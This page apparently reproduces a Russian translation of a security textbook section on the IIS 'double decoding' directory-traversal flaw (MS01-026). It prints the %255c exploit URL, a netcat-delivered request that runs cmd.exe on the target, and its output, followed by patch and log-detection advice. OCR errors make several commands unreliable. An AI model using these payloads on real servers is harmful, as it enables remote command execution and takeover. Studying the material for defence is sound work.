На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Двойное декодирование


Популярность

9

Простота

8

Опасность
7

Степень риска

8

В мае 2001 года исследователи из группы NSFocus выпустили предупреждение об ошибке в программном коде сервера IIS, поразительно похожей на ошибку Unicode, которая давала возможность "путешествовать" по файловой системе. Вместо длинных представлений симво­лов косой черты (/ и \), группа NSFocus использовала дважды закодированные шестнадцате-ричные символы, которые позволяли избегать обычных проверок безопасности ITS для запросов HTTP и получать доступ к ресурсам вне корневого каталога Web. Например, обратная
косая черта кодируется для Web-сервера в шсстнадцатеричном формате как %5с. Аналогично, символ % отображается значением %25. Таким образом, строка %255с после последовательного двойного декодирования дает один символ обратной косой черты.
Ключевой момент здесь в том, что требуются две операции декодирования, в этом и состоит природа проблемы в сервере IIS: он выполняет две операции декодирования HTTP-запросов и дает возможность находить каталоги с исполняемыми файлами. Это условие ис­пользуется так же, как и уязвимое место Unicode.
на заметку
Компания Microsoft называет это уязвимое место "излишним декодированием" (superfluous decode), но нам кажется, что сочетание "двойное декодирование" звучит несколько лучше.
На примере следующего URL-адреса продемонстрируем, как анонимный удаленный хакер может получить доступ к командной строке Windows.
Ошибка! Недопустимый объект гиперссылки.
Обратите внимание, что начальный виртуальный каталог в запросе должен иметь права на выполнение, так же как и в случае с Unicode. Можно также перенаправить файл с помощью утилиты netcat (назовем его ddcode. txt).
GET /scripts/.-%255с. . %2 55cwinnt/system32/cmd.exe?/c+dir-*c:\ HTTP/1.0 [возврат строки] [возврат строки]
Результат перенаправления этого файла через утилиту netcat на атакуемый сервер представлен ниже.
С:\>ас -w vlctim.com 80 < ddacode.txt<
victira.com [192.168.234.222] 80 thttp) open HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Ttm, 17 May 2001 15:26:28 GMT Content-Type: application/octet-stream Volume in drive C has no label. Volume Serial Number is 6839-982F ■
Directory of c:\
03/26/2001 08:03p <DIR> Documents and Settings
02/2 8/2001 ll:10p OIR> Inetpub
04/16/2001 09:49a <DIR> Program Files
05/15/2001 12:20p <DIR> WINNT
0 Filets) 0 bytes
5 Dir(s) 390,264,832 bytes free sent 73, revd S85: NOTSOCK
Мы надеемся, что после того, как в предьщущем разделе были подробно описаны программы атаки Unicode, нашим читателям понятно, как можно использовать данную ошибку. Можно выполнять команды от имени учетной записи IUSR, под ударом оказываются ресурсы, доступные для пользователя IUSR; во все каталоги, для которых предоставлены права чтения и записи для пользователя IUSR, на атакуемый сервер можно загружать файлы и запускать их. При совпадении нескольких указанных условий можно полностью взломать атакуемую систему.
на заметку
Стоит заметить, что атаки двойного декодирования и Unicode настолько похожи, что в программах атаки можно легко менять символы Unicode и дважды закодированные символы, если на сервере не были сделаны исправления для борьбы с такими ошибками.
-
О Защита от двойного декодирования
Бюллетень
MS01-026

BID
2708

Исправлено в SP
Windows 2000 SP3


Фиксируется
Да

Все средства защиты от атак, использующих ошибку Unicode, вполне применимы и в борьбе с двойным декодированием, поскольку эти две ошибки очень похожи. Естественно, для исправления последней ошибки Microsoft выпустила другую заплату — см. бюллетень MS0I-026. Заплата MS01-026 «е входит в стандартный пакет исправлений SP2.
НА ЗАМЕТКУ

Заплата MS01-026 также изменяет настройки InProcesslsapiApps Metabase таким образом, чтобы расширение привилегий с использованием вредоносных библиотек, вызывающих функцию RevertToSelf, не запускалось внутри процесса, как будет описано в следующем разделе "Расширение привилегий на сервере I1S 5".
Интересно, что в журналах I1S прослеживается различие между использованием программ атаки Unicode и двойного декодирования. Например, представим атаку двойного декодирования с использованием символа %2 55с.
http://victim.com/scripts/..%255с..%255cwinnt/system32/cmd.exe?/c+dir+c:\
В журналах сервера IIS эта атака выглядит следующим образом.
21:48:03 10.0.2.18 GET /scripts/..%5с.. %5cwinnt/system32/cmd.exe 200
Сравним этот отчете примером программы атаки Unicode.
http://victun.com/Bcripts/.. %c0%af../win.nt/system32/cmd.exe?/c+dir+c:\ А в журналах IIS это выглядит следующим образом.
21:52:40 10.0.2.18 GET /scripts/../../wiimt/system32/cmd.exe 200"
Поэтому описанную атаку в журналах можно обнаружить выполнив поиск строки %5с.
Загрузка файлов на Web-сервер
Если непривилегированный или анонимный пользователь имеет возможность загружать файлы на Web-сервер, ждите серьезных проблем с безопасностью. К сожалению, настройки по умолчанию для списков контроля доступа NTFS предоставляют неограниченный доступ пользователю Everyone (Everyone: Full Control) к каталогам С; \, C:\Inetpub, C:\Inetpub\scripts и некоторым другим. Наличие уязвимых мест с возможностью использования программ атаки Unicode и двойного декодирования, делают процесс записи на диск простейшей задачей, как будет показано далее.
НА ЗАМЕТКУ
Хотя компания Microsoft заявляет, что Windows Server 2003 устанавливает более жесткие ограничения для списков контроля доступа, к сожалению, мы обнаружили, что пользователю Everyone по-прежнему предоставляется право Everyone: Read & Execute, Users : Write для каталога С:.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика